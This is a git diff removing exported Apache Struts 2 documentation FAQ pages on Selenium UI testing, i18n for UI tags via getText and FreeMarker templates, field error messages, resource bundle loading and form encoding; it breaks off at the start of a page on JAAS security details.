-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28862">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28862">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28862">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>First, push as much business and data access logic as possible out of the Action class and into a POJO facade that the Action can call. In this way, you can test all that outside of the Action. The MailReader is a fair example of this, although the data access API is quirky and could be streamlined.</p>
-
-<p>After that, what's really left to test is the UI. For UI tests, a very good choice is <a shape="rect" class="external-link" href="http://www.openqa.org/selenium/" rel="nofollow">Selenium</a>.</p>
-
-<p>The Selenium IDE (a FireFox plugin) includes a recorder to help jump start the tests, and then you can go back and edit the tests, and also add test that can't be easily recorded. (Like is a control disabled or text not present.)</p>
-
-<p>The best part is that the initial tests can be recorded in HTML and the convert to real Java code. The Java code can then be run as part of a standard JUnit test (if the Selenium proxy server is running in the background).</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-add-i18n-to-a-ui-tag-like-the-textfield-tag.html b/content/docs/how-do-i-add-i18n-to-a-ui-tag-like-the-textfield-tag.html
deleted file mode 100644
index d5644dd..0000000
--- a/content/docs/how-do-i-add-i18n-to-a-ui-tag-like-the-textfield-tag.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I add I18N to a UI tag, like the textfield tag</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-add-i18n-to-a-ui-tag-like-the-textfield-tag.html">How do I add I18N to a UI tag, like the textfield tag</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I add I18N to a UI tag, like the textfield tag</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13991">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13991">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13991">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13991">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13991">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13991">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The simplest way to inject resource bundle messages into tag attributes is to use the Action's getText method. Another way is to edit the tag templates to use the resource bundle by default.</p>
-
-<h2 id="HowdoIaddI18NtoaUItag,likethetextfieldtag-CallinggetText">Calling getText</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:textfield label="%{getText('label.firstName')}" name="firstName" /&gt;
-</pre>
-</div></div>
-<p>The <code>getText</code> method will look for an entry in the resource bundle with the key "label.firstName", and the value of the "firstName" property will be provided by the Action, or some other object on the Value Stack.</p>
-
-<h2 id="HowdoIaddI18NtoaUItag,likethetextfieldtag-EditingtheTemplates">Editing the Templates</h2>
-
-<p>If using the resource bundle is the default for your application, you might consider modifying the <code>controlheader-core.ftl</code> template. If the <code>xhtml</code> theme is being used, the original template is found at {{/template/xhtml}.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>controlheader-core.ftl</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-${parameters.label?html}:&lt;#t/&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#assign mm="getText('"+parameters.label?html+"')" /&gt;&lt;#t/&gt;
-${stack.findValue(mm)}:&lt;#t/&gt;
-</pre>
-</div></div>
-<p><em>or</em></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-${stack.findValue("getText('"+parameters.label?html+"')")}
-</pre>
-</div></div>
-<p>After making the change, tags with a label attribute will use the value you set as a key.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;saf:textfield label="label.firstName" name="firstName" /&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-change-the-invalid-input-error-message-for-a-particular-field.html b/content/docs/how-do-i-change-the-invalid-input-error-message-for-a-particular-field.html
deleted file mode 100644
index c146797..0000000
--- a/content/docs/how-do-i-change-the-invalid-input-error-message-for-a-particular-field.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I change the invalid input error message for a particular field</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-change-the-invalid-input-error-message-for-a-particular-field.html">How do I change the invalid input error message for a particular field</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I change the invalid input error message for a particular field</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14030">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14030">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14030">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14030">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14030">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14030">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>The "stock" validators provide default error messages. To override the default message, </p>
-
-<ul><li>create or edit a global resource bundle, and</li><li>add an entry corresponding to the field</li></ul>
-
-
-<p>The "message prefix" is <code>invalid.fieldvalue</code>. To create a message entry, append the field name to the prefix. For example, a field named <code>user.dob</code> would use the entry <code>invalid.fieldvalue.user.dob</code>. </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-invalid.fieldvalue.user.dob=Please enter Date of Birth in the correct format.
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-decouple-xwork-localizedtextutil-global-resource-bundle-loading-from-serlvets.html b/content/docs/how-do-i-decouple-xwork-localizedtextutil-global-resource-bundle-loading-from-serlvets.html
deleted file mode 100644
index f90fae1..0000000
--- a/content/docs/how-do-i-decouple-xwork-localizedtextutil-global-resource-bundle-loading-from-serlvets.html
+++ /dev/null
@@ -1,141 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I decouple XWork LocalizedTextUtil global resource bundle loading from serlvets</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-decouple-xwork-localizedtextutil-global-resource-bundle-loading-from-serlvets.html">How do I decouple XWork LocalizedTextUtil global resource bundle loading from serlvets</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I decouple XWork LocalizedTextUtil global resource bundle loading from serlvets</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14011">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14011">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14011">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14011">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14011">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14011">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-
-<p>If you're using XWork outside a Web context, then use whatever startup hooks you have in that context (i.e. application start for a desktop app) to add the global resource bundle. This is a startup activity, so use whatever mechanisms are provided in the context you're running in.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-enable-encoding-in-my-forms.html b/content/docs/how-do-i-enable-encoding-in-my-forms.html
deleted file mode 100644
index 2f59786..0000000
--- a/content/docs/how-do-i-enable-encoding-in-my-forms.html
+++ /dev/null
@@ -1,145 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How do I enable encoding in my forms</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-do-i-enable-encoding-in-my-forms.html">How do I enable encoding in my forms</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How do I enable encoding in my forms</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14263">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14263">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14263">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14263">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14263">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14263">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>If you have enabled all all possible UTF-8 settings, and your application's forms still aren't handling your characterset correctly, it may help to</p>
-<ul><li>add accept-charset as attribute to the form tag, OR</li><li>create a hidden tag with name "<em>charset</em>" that the browser will fill in</li></ul>
-
-
-<p>For more, see <a shape="rect" class="external-link" href="http://ppewww.ph.gla.ac.uk/~flavell/charset/form-i18n.html" rel="nofollow">FORM submission and i18n</a></p>
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p> An enhancement is planned for SAF 2.0 that may solve this problem. The change would be to add a default overridable UTF-8 encoding the form template.</p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-do-i-obtain-security-details-jaas.html b/content/docs/how-do-i-obtain-security-details-jaas.html
deleted file mode 100644
index 830c09e..0000000
--- a/content/docs/how-do-i-obtain-security-details-jaas.html
+++ /dev/null
@@ -1,181 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
